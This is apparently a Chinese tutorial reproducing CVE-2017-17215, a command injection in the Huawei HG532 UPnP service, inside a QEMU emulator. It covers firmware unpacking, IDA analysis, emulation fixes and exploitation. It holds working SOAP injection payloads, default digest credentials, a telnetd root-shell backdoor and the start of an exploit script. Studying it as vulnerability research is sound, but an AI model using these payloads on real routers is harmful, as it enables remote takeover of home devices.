CVE-2017-17215 华为 HG532 远程代码执行漏洞 —— 完整复现过程(详细版)

漏洞编号: CVE-2017-17215
厂商/设备: 华为 HG532 / HG532e 家用路由器
漏洞类型: OS 命令注入 (CWE-78)
影响组件: UPnP /ctrlt/DeviceUpgrade_1 SOAP 端点 (upnp 二进制)
CVSS: 9.8 (Critical)
利用条件: LAN 侧可达 (端口 37215),需 Digest 认证 (默认凭据可绕过)
影响: 以 root 权限执行任意系统命令
野外利用: Satori / OKIRU 僵尸网络 (Mirai 变种) 曾大规模利用

目录​

0. 查缺补漏

  1. 漏洞概述
  2. 环境准备
  3. 静态分析 —— IDA 定位漏洞
  4. 仿真部署
  5. 启动服务
  6. 漏洞利用
  7. 完整 Exploit 脚本
  8. 常见问题排查

0、查缺补漏

mic — 消息服务器 Message Server

华为ATP自研中间件的IPC消息总线,全称理解为 Message Internal Communication
从 strings bin/mic 提取关键符号:

符号

含义

ATP_MIC_MsgSvrCreate

创建消息服务器

ATP_MIC_SockSvrListen / ATP_UTIL_SocketCreateServer

监听 socket

ATP_MSG_RegisterMsgProc / MicMsgProc

注册消息处理回调

ATP_MIC_MsgCltFindByName

客户端按名称定位服务

ATP_MSG_Send / ATP_MSG_SendFd / ATP_MSG_RecvFd

进程间收发消息,支持传递文件描述符

核心作用

  1. 启动生成Unix域套接字:/var/msgsvr,作为路由器内部进程(upnp、web、cli、telnetd等)IPC通信总线
  2. 依赖 libcfmapi.so(配置管理CFM),加载配置成功输出日志:load cfm ok

复现地位(前置依赖)

必须优先启动mic;若mic未运行、/var/msgsvr 不存在,upnp连接消息总线失败直接 exit(-1)。

upnp — UPnP守护进程(漏洞本体 CVE‑2017‑17215)

项目

信息

监听端口

TCP 37215

协议

UPnP SOAP(HTTP+XML)

漏洞接口

/ctrlt/DeviceUpgrade_1

依赖库

libhttpapi.so(HTTP)、libxmlapi.so(XML解析)、libmsgapi.so(消息)、libbhalapi.so(硬件抽象层)

核心作用

对外提供局域网UPnP服务,处理SOAP请求。

漏洞根源:固件升级动作DeviceUpgrade_1,直接将XML字段NewDownloadURL/NewStatusURL未做过滤拼接传入system(),造成命令注入。

进程关系

mic  ──创建──►  /var/msgsvr (Unix socket)
          ▲
          │ connect
        upnp ──监听──► 37215 (对外SOAP服务)
  • mic:消息总线服务端;upnp:mic的IPC客户端,依靠/var/msgsvr完成通信。

QEMU复现标准启动步骤

  1. echo 1 > /proc/sys/net/ipv6/bindv6only
  2. ./mic # 输出 load cfm ok,生成 /var/msgsvr
  3. ./upnp # 连接消息总线,开启37215端口监听

补充:mic、upnp启动都会执行5条brctl addbr br0:9桥接命令;复现需要将这些调用patch为/bin/true,避免网卡断网。

一句话总结

mic是路由器内部IPC消息总线,必须先运行;upnp是带命令注入漏洞的UPnP业务进程,依赖mic才可正常启动对外提供服务。

一、漏洞概述

华为 HG532 的 upnp 守护进程在处理 DeviceUpgrade_1 SOAP 请求时,将从 XML 中提取的
NewDownloadURL 和 NewStatusURL 参数值未经过滤直接拼接到 snprintf() → system() 调用:

snprintf(buf, 0x400,
    "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b",
    NewDownloadURL,   // <-- 用户可控 (来自 SOAP XML)
    NewStatusURL);    // <-- 用户可控 (来自 SOAP XML)
system(buf);

为什么这是漏洞:system() 会把拼接后的字符串交给 /bin/sh -c 执行。两个 %s 参数
(NewDownloadURL、NewStatusURL)完全由攻击者控制,且中间没有任何过滤、转义或白名单校验。
攻击者只需在参数中插入 ;、$(...) 或反引号,即可注入任意 shell 命令,并以 upnp 进程的
运行权限(root)执行。

二、环境准备

2.1 固件获取

固件来自 Internet Archive(archive.org)上的华为升级包 RAR 压缩包。

为什么用这个来源:HG532 已停产,官方不再提供固件下载。Internet Archive 保存了历史版本,
是获取该固件最可靠的途径。

HG532eV100R001C01B020_upgrade_packet.bin   (3,608,317 字节)

解压 RAR 后得到上述 .bin 文件。

2.2 固件解包

固件格式为:自定义包头 (0x21A8 字节) + LZMA 压缩 + SquashFS。

为什么需要 binwalk:路由器固件通常是"引导加载器 + 内核 + 文件系统"的组合,厂商会自定义
封装格式。binwalk 能自动识别嵌入的压缩数据和文件系统并递归解包,省去手工分析封装结构。

binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

解包结果:

_HG532eV100R001C01B020_upgrade_packet.bin.extracted/
├── 21A8                  # 自定义包头
├── 11180                 # LZMA 解压后的数据
├── ECEF9.squashfs        # SquashFS 文件系统 (华为魔改)
└── squashfs-root/        # 根文件系统 (binwalk 已解包)

​关键坑:华为的 SquashFS 是魔改的——magic 从标准 sqsh 改成了 qshs,且用 lzma
压缩。标准 unsquashfs 会报 Can't find a valid SQUASHFS superblock(因为 magic 不认),
或 read_block: failed(因为不支持 lzma)。

为什么标准工具解不开:

  1. 厂商为防第三方分析,故意改了 magic 字节;
  2. SquashFS 3.0 的 lzma 压缩需要 sasquatch(unsquashfs 的 lzma 分支)支持。

解决方式(二选一):

# 方式一:sasquatch(先修复 magic,再解包)
python3 -c "
data = bytearray(open('ECEF9.squashfs','rb').read())
data[0:4] = b'sqsh'   # 修复 magic: qshs -> sqsh
open('ECEF9_fixed.squashfs','wb').write(data)
"
sasquatch -d squashfs-root ECEF9_fixed.squashfs

# 方式二:binwalk(自动识别华为魔改格式)
binwalk -e ECEF9.squashfs

现在的解包工具非常强大,基本可以直接进行识别,如果想进行学习加密固件的解密,可以参考我的《固件解密》这篇博文

2.3 仿真环境(qemu-system MIPS)

HG532 是 MIPS 32-bit 大端 (big-endian) 架构。

为什么必须用 qemu-system(完整 VM)而非 qemu-user(chroot):
mic/upnp 依赖 System V 消息队列(msgget/msgsnd)、真实内核 IPC 和 CFM 配置处理。
qemu-user 的 chroot 环境缺少真实内核,mic 启动会报 Load cfm failed: 40010004 然后退出,
导致 upnp 连不上 /var/msgsvr 也退出。只有 qemu-system 的完整 MIPS 内核能满足这些依赖。

镜像(Debian Squeeze MIPS 大端):

/home/bgl1/mips_vm_be/debian_squeeze_mips_standard.qcow2
/home/bgl1/mips_vm_be/vmlinux-2.6.32-5-4kc-malta

启动命令(放在 tmux 会话里,-nographic 后台运行):

cd /home/bgl1/mips_vm_be
tmux new-session -d -s hg532 -x 200 -y 50 \
  qemu-system-mips -M malta -m 256 \
    -kernel vmlinux-2.6.32-5-4kc-malta \
    -hda debian_squeeze_mips_standard.qcow2 \
    -append 'root=/dev/sda1 console=ttyS0' \
    -nographic \
    -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::37215-:37215,hostfwd=tcp::9999-:9999 \
    -device e1000,netdev=net0

这里因为我们加上了-d参数,所以在后台执行这个我们是看不到,其实我们的虚拟机已经起来了;我们可以使用attach进行查看一下

tmux attach -t hg532

这里我们就发现起来了

参数说明(为什么这么配):

  • -M malta:MIPS Malta 开发板,qemu 对 MIPS 大端支持最成熟的主板
  • -kernel ... -hda ...:直接加载内核 + 磁盘镜像
  • -nographic:无图形界面,串口输出到终端
  • -netdev user,...hostfwd=...:用户态网络 + 端口转发(SSH 2222、UPnP 37215、telnetd 9999)
  • -device e1000:e1000 网卡(Malta 主板支持;pcnet/rtl8139 不被 Malta 支持)

登录:root/root,SSH 端口 2222

SSH 连接(Debian Squeeze 的 sshd 用老算法,需兼容参数):

sshpass -p root ssh -o StrictHostKeyChecking=no \
  -o HostKeyAlgorithms=+ssh-rsa,ssh-dss \
  -o PubkeyAcceptedAlgorithms=+ssh-rsa \
  -p 2222 root@127.0.0.1

为什么加这些 -o 参数:新版 OpenSSH 默认禁用了 ssh-rsa/ssh-dss 老算法,而 Debian Squeeze
(2011 年的系统)的 sshd 只提供这些老算法,不加参数会报
no matching host key type found。

三、静态分析 —— IDA 定位漏洞

核心思路:
识别网络服务 → 枚举危险函数 → 搜索危险字符串 → 交叉引用 → 追踪用户输入流 → 确认注入点。

3.1 识别攻击面

解包后,先看 /bin 下的二进制,识别网络服务:

cd squashfs-root/bin
file upnp mic web cwmp

二进制

说明

端口

upnp

UPnP 守护进程

37215

mic

消息服务器 (IPC)

内部

web

Web 管理服务器

80

cwmp

TR-069 客户端

—

为什么优先审计 upnp:UPnP 服务在 LAN 侧无防火墙隔离、无需登录即可访问(本漏洞需 Digest 但
可绕过),且历史上是 IoT 设备命令注入的重灾区。upnp 监听 37215,是攻击面最大的目标。

查看 upnp 的保护机制(决定利用难度):

readelf -l bin/upnp

保护

状态

含义

RELRO

No RELRO

GOT 可写,可劫持函数指针

Stack Canary

No canary

栈溢出无检测

NX

NX disabled

栈可执行,可跑 shellcode

PIE

No PIE

固定基址,地址可预测

为什么看保护机制:决定漏洞利用方式。本例是命令注入(不依赖这些保护),但了解保护机制
是二进制审计的第一步——它告诉你如果存在栈溢出,能走什么利用路线。

3.2 IDA 打开二进制

  1. IDA Pro → File → Open → 选择 bin/upnp
  2. 架构选 MIPS big-endian(或让 IDA 自动识别)

为什么 IDA 能分析而 objdump 不行:华为把二进制的 section header (段头)剥离了(no section
header
),标准 objdump 无法定位代码段而拒绝反汇编(报 can't disassemble for architecture
UNKNOWN
)。IDA 会根据 program headers 自动重建段,正常分析。

3.3 搜索危险字符串(关键一步)

UPnP 的设备升级功能通常会调用 system()/popen() 执行升级命令。按 Shift+F12 打开字符串
窗口,搜索 upg(upgrade 的缩写):

.text:0x00414C60  "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b"

为什么这条字符串是铁证:

  • 是一条 upg 升级命令的模板,含有两个 %s 占位符;
  • -U %s 对应下载 URL,-r %s 对应状态 URL;
  • 两个 %s 都来自用户输入,直接拼进命令,是典型的 snprintf + system 组合。

同区域还能看到关联的服务定义字符串:

地址 (vaddr)

字符串

含义

0x00414C60

upg -g -U %s -t '...' -c upnp -r %s -d -b

system() 命令模板

0x00414CB8

urn:www-huawei-com:service:DeviceUpgrade:1

服务 URN

0x00414EAC

Upgrade

SOAP action 名

0x00414EB4

GetSoftwareVersion

另一个 action

0x00415894

/ctrlt/

HTTP 路径前缀

3.4 交叉引用定位漏洞函数

  1. 双击字符串 "upg -g -U %s ...",IDA 跳到该字符串;
  2. 光标放在字符串上,按 X(或 Ctrl+X)查看交叉引用;
  3. 找到加载该字符串地址的指令(lui/addiu 或 lw 通过 GOT),定位到调用函数;
  4. 该函数即 DeviceUpgrade action 的处理函数(命名类似 ATP_UPNP_Upgrade)。

为什么要交叉引用:字符串本身只是数据,交叉引用能告诉我们"哪段代码用了这个字符串",
从而定位到处理逻辑。

在函数内可以看到典型的调用序列:

# 加载格式串地址到 a0
lui     $a0, 0x414C
addiu   $a0, $a0, 0x60          # a0 = "upg -g -U %s ..."
addiu   $a1, $s0, 0             # a1 = NewDownloadURL
addiu   $a2, $s1, 0             # a2 = NewStatusURL
addiu   $a3, $zero, 0x400       # a3 = 0x400 (buf 大小)
jal     snprintf                # snprintf(buf, 0x400, fmt, URL, StatusURL)
# ...
addiu   $a0, $s2, 0             # a0 = buf
jal     system                  # system(buf)  <-- 命令注入点

按 F5 反编译成伪代码:

char buf[0x400];
snprintf(buf, 0x400,
    "upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -b",
    NewDownloadURL, NewStatusURL);
system(buf);

为什么看到 snprintf 紧接 system 就要警惕:这是命令注入的经典模式——把用户输入
格式化进一个字符串,再交给 shell 执行。中间没有对输入做任何 sanitize。

上面这些汇编代码将漏洞展现的淋漓尽致,我们看一下啊:

① 提取第一个输入:NewDownloadURL


  asm
  la      $t9, ATP_XML_GetChildNodeByName
  lw      $a0, 0x2C($a0)            # a0 = 子节点
  li      $a1, aNewdownloadurl       # "NewDownloadURL"
  move    $a2, $zero
  jalr    $t9                        # 找名为 NewDownloadURL 的子节点
  addiu   $a3, $sp, 0x42C+var_40C   # a3 = &var_40C  ← 文本内容输出到这里

ATP_XML_GetChildNodeByName 从 XML 里取出 <NewDownloadURL>...</NewDownloadURL>

的文本内容,把指针写进栈变量 var_40C。

② 提取第二个输入:NewStatusURL

  asm
  la      $t9, ATP_XML_GetChildNodeByName
  lw      $a0, 0x2C($s0)
  li      $a1, aNewstatusurl         # "NewStatusURL"
  move    $a2, $zero
  jalr    $t9
  addiu   $a3, $sp, 0x42C+var_408   # 文本内容输出到 &var_408
  
  同理,<NewStatusURL> 的内容存进 var_408。

③ 错误检查(说明这两个字段是「必须的」)

  asm
  bnez    $v0, loc_407564           # GetChildNodeByName 返回非0(失败) → 走错误分支
  ...
  beqz    $v0, loc_407564           # 取到的文本指针为 NULL → 走错误分支
  
说明:NewDownloadURL 和 NewStatusURL 必须存在且非空,否则函数直接跳到 loc_407564 
报错返回。所以攻击者的 SOAP 请求里这两个标签都得带上。

④ sink:拼接 → 执行

  asm
  la      $t9, snprintf
  lw      $a3, 0x42C+var_40C($sp)   # a3 = NewDownloadURL   ← 第1个 %s,原样进命令串
  li      $a2, aUpgGUST1Firmwa       # 格式串 "upg -g -U %s -t '...' -c upnp -r %s -d -b"
  li      $a2, aUpgGUST1Firmwa       # 格式串 "upg -g -U %s -t '...' -c upnp -r %s -d -b"
  move    $a0, $s0                    # a0 = &var_404 (栈上缓冲区)
  li      $a1, 0x400                  # 缓冲大小
  jalr    $t9  # snprintf

  la      $t9, system
  jalr    $t9  # system              # system(缓冲区)
  move    $a0, $s0                    # a0 = 同一个缓冲区

这就是「原因」的代码级证据

把整条链路画出来:

XML ──提取──► var_40C ──┐ ├─► snprintf(拼接) ──► system() 执行 XML ──提取──► var_408 ──┘ ↑ 用户可控 ↑ 无任何过滤/转义/校验

关键事实:从 ATP_XML_GetChildNodeByName(source)到
system()(sink),中间没有任何一个过滤、转义、白名单、长度以外的校验函数。var_40C / var_408
里存的就是攻击者 XML 里的原始字节,直接进了 shell。从而导致了漏洞的产生

我们看一下c语言代码,现在我们需要去证明这两个变量我们是可以控制的;

这里我们发现这里我们进行交叉引用查看是谁调用sub-40749c函数的时候,我们发现报了一个错误"没有函数调用这个sub-40749c函数",不用慌,这正好印证了这个漏洞的典型特征;这里说明这个sub_40749C 是 UPnP 的 action handler,它不是被直接调用的,而是被「函数指针表」间接调用的,怎么办呢?线索断了,不用慌,我们可以换个思路。去找是谁把sub_40749C 的地址放进了注册表?最有效的入口是交叉引用 "Upgrade" 这个字符串——因为注册表通常是「action 名 ↔ handler 地址」成对绑定的,"Upgrade" 字符串和 sub_40749C 会出现在同一段注册代码里。

这里给大家进行澄清一个误区,正常情况下ida只能找到那种直接进行调用的函数,而找不到间接调用的函数,即使我们找到注册表在查看这个函数是谁在进行调用的时候,也还是会报"没有这个函数调用的错误"其实我们进行查找注册表,并不是为了查找是谁调用这个函数,而是看是谁存储着这个函数的地址,去寻找是谁读取这个表里面存储的地址,流程如下表所示。我们现在找到了是谁存储着这个地址了,如上图所示;其实sub_40749C的函数名字就包含着函数的地址0x40749c;

  sub_40749C 的地址(数据)
     ↓ 存在哪?── 能追到
  g_astActionArray(注册表)
     ↓ 谁读这张表?── 能追到
  UPnPGetActionByName(查表函数)
     ↓ 谁调用这个查表函数?── 能追到
  dispatcher(真正的调用者)

UPnPGetActionByName函数的作用就是一个“业务员”的角色,这里的action 是「类别」,Upgrade 是「一个具体的 action」,这里我们相当于是告诉UPnPGetActionByName函数,我们要做Upgrade的业务,他就会给我指定对应的处理函数,这个函数就是sub_40749C这个函数,也就是楼哦东那个函数,所以我们现在需要找的是UPnPGetActionByName函数

我们找到这个函数,

我们找到这个UPnPGetActionByName函数之后进行交叉引用,我们就发现了UPnPGetActionByName函数的调用者sub_40A9C8 也就是 dispatcher。我们双击进去。

我们来到这里之后,我们看一下这个汇编代码,进行分析一下

 asm
  loc_40AD1C:
  lw      $a0, 0x390+var_318($sp)       # a0 = 某个结构体指针(传给查表函数)
  la      $t9, UPnPGetActionByName        # t9 = 查表函数地址
  lw      $a1, 0x390+var_31C($sp)        # a1 = 参数2
  lw      $a2, 4($a0)                     # a2 = *(a0+4)
  li      $v0, 0x1F5                      # 501(默认错误码,查不到就用它)
  sw      $v0, 0x390+var_340($sp)
  ...
  jalr    $t9  # UPnPGetActionByName      # 查表
  addiu   $a3, $sp, 0x390+var_350        # a3 = 输出指针(延迟槽)
  
  # ?? 查表返回后 ??
  lw      $a0, 0x390+var_350($sp)        # 读出输出参数内容
  move    $s1, $v0                        #$v0(= handler 地址 0x40749C)存进 $s1
  li      $v0, 1
  ...
  bne     $s0, $v0, loc_40AD98            # 分支判断

move $s1, $v0 = 查表返回的 handler 地址(0x40749C)被存进 $s1 保存起来。

我们看这里将s1里面的值赋给了t9,注意:s1里面是sub_40749C的地址,然后跳转到T9;

  【攻击者输入】SOAP 请求 body 的 XML
    <u:Upgrade>
      <NewDownloadURL>...</NewDownloadURL>
      <NewStatusURL>;telnetd...</NewStatusURL>
    </u:Upgrade>
          ↓
  【dispatcher】sub_40A9C8
    收到请求,调 UPnPGetActionByName 查表
          ↓
  【查表】UPnPGetActionByName
    遍历 g_astActionArray,找到 "Upgrade" → handler = 0x40749C
          ↓
  【最后一跳】move $t9, $s1 → jalr $t9        ← 你刚找到的
          ↓
  【漏洞函数】sub_40749C (0x40749C)
    ATP_XML_GetChildNodeByName 取两个参数 → snprintf → system
          ↓
  【命令执行】以 root 权限执行注入的命令

上表是我们目前得到的信息,静态分析就结束了;

四、仿真部署

4.1 启动 qemu-system

见 2.3 节,启动 VM 后 SSH 登录。

4.2 部署固件到 VM

宿主机打包 squashfs-root,scp 到 VM,解包到 /hg532:

# 宿主机
cd .../squashfs-root/..
tar czf squashfs-root.tar.gz squashfs-root/
scp -P 2222 squashfs-root.tar.gz root@127.0.0.1:/tmp/

# VM 内
mkdir -p /hg532
cd /hg532
tar xzf /tmp/squashfs-root.tar.gz --strip-components=1

# 挂载 /dev 和 /proc (mic/upnp 运行需要)
mount -o bind /dev /hg532/dev
mount -t proc proc /hg532/proc

为什么挂载 /dev 和 /proc:chroot /hg532 后,进程的根目录变成 /hg532,但内核仍需要
访问真实的设备节点(/dev)和进程信息(/proc)。bind 挂载和 proc 挂载把这些真实的
内核对象"借"给 chroot 环境,否则 mic/upnp 访问设备、读进程信息都会失败。

4.3 patch 二进制(消除 br0:9 桥接)

问题:mic/upnp 启动时会通过 system() 执行以下命令创建 br0:9 桥接接口,
导致 qemu 的 e1000 网卡桥接超时、网络彻底断开:

brctl addbr br0:9 2> /dev/null
ifconfig br0:9 169.254.100.156 netmask 255.0.0.0 2> /dev/null
ifconfig br0:9 up 2> /dev/null
ifconfig br0:9 down 2> /dev/null
brctl delbr br0:9 2> /dev/null

为什么这几条命令会断网:brctl addbr br0:9 创建了带冒号的桥接接口,触发 e1000 网卡的
NETDEV WATCHDOG: eth0 (e1000): transmit queue 0 timed out,导致网络收发超时、SSH 断开。
(诚实说明:br0:9 与 e1000 冲突的确切内核机制尚未完全定位,这是通过「patch 前断网 /
patch 后网络稳定」的实测反推的结论。)

补充说明(固件还有其他 br0 命令,但失败无害):除 mic/upnp 的 br0:9 命令外,固件里
cms/ethcmd/cli/web 等二进制还有大量 br0 桥接命令,如 brctl addif br0 eth0、
ifconfig eth0 0.0.0.0——这是路由器标准的 LAN 桥接初始化流程(把 eth0 加入 br0,给 br0 配
192.168.1.1)。实测这些命令在 qemu 里失败无害:因为华为魔改的 brctl 与标准 Linux 内核
不兼容,addif 报 add group failed,eth0 未被加入 br0,保持独立 IP(10.0.2.15),所以 SSH
不断。因此只需 patch mic/upnp 的 br0:9 命令即可,无需处理 cms/ethcmd 的 br0 命令。

解决:把这 5 条命令字符串替换成 /bin/true(空格填充到原长度),让 system() 执行无害的
/bin/true 而不是创建桥接。

已提供脚本 patch_brctl.py:

python3 patch_brctl.py <squashfs-root/bin 目录>
用法:
  python3 patch_brctl.py <squashfs-root/bin 目录>

  其中 mic 的偏移: 0x63fc, 0x641c, 0x645c, 0x6490, 0x64b4
       upnp 的偏移: 0x14618, 0x14638, 0x14678, 0x146a8, 0x146cc
"""
import sys
import os
import shutil

# 各二进制的命令字符串偏移 (文件内偏移)
OFFSETS = {
    "mic":  [0x63fc, 0x641c, 0x645c, 0x6490, 0x64b4],
    "upnp": [0x14618, 0x14638, 0x14678, 0x146a8, 0x146cc],
}

def patch_binary(path, offsets):
    with open(path, "rb") as f:
        data = bytearray(f.read())
    # 备份原始文件
    bak = path + ".bak_orig"
    if not os.path.exists(bak):
        shutil.copyfile(path, bak)
        print(f"[*] 备份 {path} -> {bak}")

    for off in offsets:
        # 找到字符串的 null 终止符
        end = off
        while end < len(data) and data[end] != 0:
            end += 1
        length = end - off
        original = bytes(data[off:end])
        # 替换成 /bin/true + 空格填充 (保持长度不变, 避免破坏后续字符串偏移)
        pad = length - len(b"/bin/true")
        if pad < 0:
            print(f"[-] 偏移 0x{off:x} 处字符串太短 ({length} < {len(b'/bin/true')}), 跳过")
            continue
        data[off:end] = b"/bin/true" + b" " * pad
        print(f"[*] 0x{off:x}: {original!r} -> /bin/true (len={length})")

    with open(path, "wb") as f:
        f.write(data)
    print(f"[+] 已 patch {path}\n")

def main():
    if len(sys.argv) != 2:
        print(__doc__)
        sys.exit(1)
    bin_dir = sys.argv[1]
    for name, offsets in OFFSETS.items():
        path = os.path.join(bin_dir, name)
        if not os.path.exists(path):
            print(f"[-] 找不到 {path}, 跳过")
            continue
        patch_binary(path, offsets)

if __name__ == "__main__":
    main()

脚本核心逻辑(偏移已从原始固件重新确认):

二进制

5 处命令字符串偏移

mic

0x63fc, 0x641c, 0x645c, 0x6490, 0x64b4

upnp

0x14618, 0x14638, 0x14678, 0x146a8, 0x146cc

为什么用 /bin/true 而不是删掉:system() 的调用点在代码里固定,删除字符串会导致偏移
错乱或空指针。替换成 /bin/true(长度用空格补齐)保持二进制结构不变,只是让命令变成无害操作。

注:mic 和 upnp 各一份(共 10 处)。patch 后 strings 确认 brctl/ifconfig 已清除。
patch 后重新打包上传到 VM(或直接在 VM 里 patch)。

在我们进行patch之后需要将patch过的新的固件重新加载进行vm,也就是上面的有些步骤需要重新做


4.4 替换 /bin/cli 为 shell 后门

华为的 telnetd 接受连接后 execv 的是 /var/cli 或 /bin/cli(华为 CLI,需密码)。
为了拿 root shell,把 /bin/cli 替换成直接启动 shell 的脚本:

# VM 内
cd /hg532/bin
mv cli cli.orig          # 备份原始 cli
cat > cli <<'EOF'
#!/bin/sh
exec /bin/sh
EOF
chmod +x cli

为什么需要这一步:telnetd 连接后执行的是 /bin/cli(华为命令行接口),它要求输入 CLI
密码(或依赖 CFM 认证)。把 cli 换成 exec /bin/sh 脚本后,telnetd 的连接会直接落到
root shell,绕过 CLI 认证。

之后 telnetd 的连接会直接进入 /bin/sh,无需 CLI 密码。

五、启动服务

5.1 设置 IPv6 bindv6only(关键!)

华为 telnetd 会同时创建 IPv4 + IPv6 socket。IPv6 socket 默认 v6only=0(双栈),
bind(监听) 时与 IPv4 socket 冲突 → telnetd 直接 exit(-1)。必须设置:

# VM 内
echo 1 > /proc/sys/net/ipv6/bindv6only

为什么这是关键坑:telnetd 先 socket(AF_INET) 绑定 0.0.0.0:9999 成功,再
socket(AF_INET6) 绑定 :::9999。当 bindv6only=0(默认)时,IPv6 socket 会同时占用
IPv4 的 9999 端口,与已绑定的 IPv4 socket 冲突,报 Address already in use,telnetd 随即
exit(-1)。设为 1 后 IPv6 socket 只绑 IPv6,不再冲突。

真实固件内核的 bindv6only 默认值不同,所以真机上不会遇到此问题;这是 QEMU 仿真的特有问题。

5.2 启动 mic(消息服务器)

# VM 内
chroot /hg532 /bin/mic &

为什么先启动 mic:mic 是消息服务器(IPC 核心),它启动后创建 /var/msgsvr socket。
upnp 启动时要连接这个 socket,如果 mic 没起,upnp 连不上会退出。启动顺序不能颠倒。

预期结果:mic 加载 CFM 配置,创建 /var/msgsvr socket,fork 子进程。

验证:

ls -la /hg532/var/msgsvr      # socket 文件存在
cat /hg532/var/micready        # 内容为 1 表示就绪

这里mic就启动成功了

5.3 启动 upnp(UPnP 服务)

# VM 内
setsid chroot /hg532 /bin/upnp > /hg532/tmp/upnp.log 2>&1 < /dev/null &

为什么用 setsid + 重定向:setsid 让 upnp 脱离当前终端会话,SSH 断开后进程不退出;
重定向 stdin/stdout 避免阻塞终端。

验证监听:

netstat -tlnp | grep 37215      # 0.0.0.0:37215 LISTEN

启动顺序:先 mic(创建 msgsvr)→ 后 upnp(连接 msgsvr 并监听 37215)。
若 upnp 报 Unable to open device /dev/bhal,touch /hg532/dev/bhal 占位即可。
(bhal 是华为硬件抽象层设备,QEMU 里没有,用空文件占位让 upnp 跳过该初始化。)

六、漏洞利用

6.1 认证绕过(Digest)

UPnP 端点返回 401 Unauthorized,需要 Digest 认证:

WWW-Authenticate: Digest realm="HuaweiHomeGateway", nonce="...", qop="auth", algorithm="MD5"

默认凭据(华为 HG532 TR-064 出厂默认):

项

值

用户名

dslf-config

密码

admin

realm

HuaweiHomeGateway

为什么用这个凭据:dslf-config:admin 是华为 HG532 系列 TR-064/UPnP 接口的出厂默认凭据,
公开文档广泛记载,且本设备未修改默认值。

Digest 计算(HTTP Digest 认证标准算法):

HA1     = MD5(username:realm:password)
HA2     = MD5(method:uri)
response = MD5(HA1:nonce:nc:cnonce:qop:HA2)

为什么 Digest 比 Basic 安全却仍被绕过:Digest 不传明文密码,但只要默认凭据未改,
攻击者同样能算出正确的 response。认证强度取决于密码强度,而非算法。

​关键:正确 URN 是 urn:www-huawei-com:service:DeviceUpgrade:1(不是常见的
urn:schemas-upnp-org:service:WANPPPConnection:1)。SOAPAction 头必须匹配:

SOAPAction: "urn:www-huawei-com:service:DeviceUpgrade:1#Upgrade"

为什么 URN 很重要:UPnP 服务靠 URN 区分不同的 action。用错 URN,服务找不到对应处理
函数,注入不会触发。正确的 URN 从 DevUpg.xml 和二进制字符串(0x414CB8)确认。

6.2 命令注入验证

注入命令(用 echo 写文件验证,因为 busybox 精简版无 touch/id):

soap_body = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
            s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:Upgrade xmlns:u="urn:www-huawei-com:service:DeviceUpgrade:1">
      <NewStatusURL>;echo PWNED > /tmp/pwned;</NewStatusURL>
      <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
    </u:Upgrade>
  </s:Body>
</s:Envelope>'''

返回 200 OK,然后 VM 内 cat /hg532/tmp/pwned 看到 PWNED,证明命令注入成功。

为什么用 ;cmd; 而非直接写命令:原命令是
upg -g -U HUAWEIUPNP -t '...' -c upnp -r ;echo PWNED > /tmp/pwned; -d -b。
; 是 shell 的命令分隔符,;echo ...; 把注入的命令独立出来执行。同理可用 $(cmd) 或反引号。

为什么用 echo 不用 touch/id:此固件的 busybox 是精简版,bin/ 下只有
ash cat chmod cp date echo kill ln ls mkdir mv netstat pidof ping ps rm sh sleep umount 等,
没有 touch/id/uname。用 echo > 文件 写文件是最可靠的验证方式。

6.3 启动 telnetd 后门

注入 telnetd -p 9999(华为 telnetd 的 optstring 是 s:t:p:,用 -p 指定端口):

<NewStatusURL>;telnetd -p 9999;</NewStatusURL>

三个关键点:

  1. telnetd 依赖 mic(msgsvr):telnetd 启动时会通过 ATP_MSG_Init 连接 /var/msgsvr
    (unix socket),连接失败会立即 exit(-1)。所以必须先启动 mic(§5.2),否则
    telnetd 起不来。这一点在初版复现中被遗漏,容易误以为 telnetd 只需 bind 端口。
  2. 必须尽快连接(有超时退出机制):telnetd 在启动后会走
    「ATP_MSG 连接 msgsvr 的握手(select 10 秒超时)→ main 循环 select 等待连接(20 秒
    超时)」的流程。实测 telnetd 在约 54 秒后退出(不是 20 秒——初版误判为 20 秒)。
    注入后尽快连接即可(1 分钟内都来得及)。
  3. 注入后 upnp "无响应超时"是正常的:system() 会阻塞等待 telnetd(前台进程)退出,
    telnetd 在超时退出前一直运行,所以 HTTP 响应超时。这不是崩溃——telnetd 已经在监听 9999。

6.4 获取 root shell

从宿主机连接 9999(telnet 协商后直接是 /bin/sh):

telnet 127.0.0.1 9999

验证 root 权限:

# ls -la /
# ps           # 所有进程 UID=0
# echo USER=$USER   # USER=root

为什么拿到的是 root shell:upnp 以 root 运行,system() 继承 root 权限;
telnetd 由 system() 启动,同样以 root 运行;telnetd execv 的 /bin/cli 已被替换成
exec /bin/sh,所以连接后直接是 root shell。

完整利用链打通,成功获取 root shell(EUID=0)。

这里作者的环境出现了,端口冲突和stdin问题,导致upnp要么起不来,要么很快就退出来,非常麻烦,所以,我这边直接写个脚本将上面这几步统一做一下;

用法:
  python3 get_shell.py
"""
import socket, hashlib, os, re, time, sys, subprocess

TARGET = "127.0.0.1"
PORT = 37215
SHELL_PORT = 9999
USER = "dslf-config"
PASS = "admin"
URI = "/ctrlt/DeviceUpgrade_1"
SSH = ("sshpass -p root ssh -o HostKeyAlgorithms=+ssh-rsa,ssh-dss "
       "-o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "
       "-o ConnectTimeout=5 -p 2222 root@127.0.0.1")

def md5(s):
    return hashlib.md5(s.encode()).hexdigest()

def upnp_running():
    try:
        s = socket.socket(); s.settimeout(2)
        s.connect((TARGET, PORT)); s.close()
        return True
    except Exception:
        return False

def restart_upnp():
    print("[*] upnp 未运行,启动自动重启循环...")
    loop = ("while true; do tail -f /dev/null | chroot /hg532 /bin/upnp "
            "> /hg532/tmp/upnp.log 2>&1; sleep 1; done")
    subprocess.run(f"{SSH} 'setsid sh -c \"{loop}\" >/dev/null 2>&1 < /dev/null &'",
                   shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
                   timeout=10)
    time.sleep(4)
    if not upnp_running():
        print("[-] upnp 启动失败,请手动检查")
        sys.exit(1)
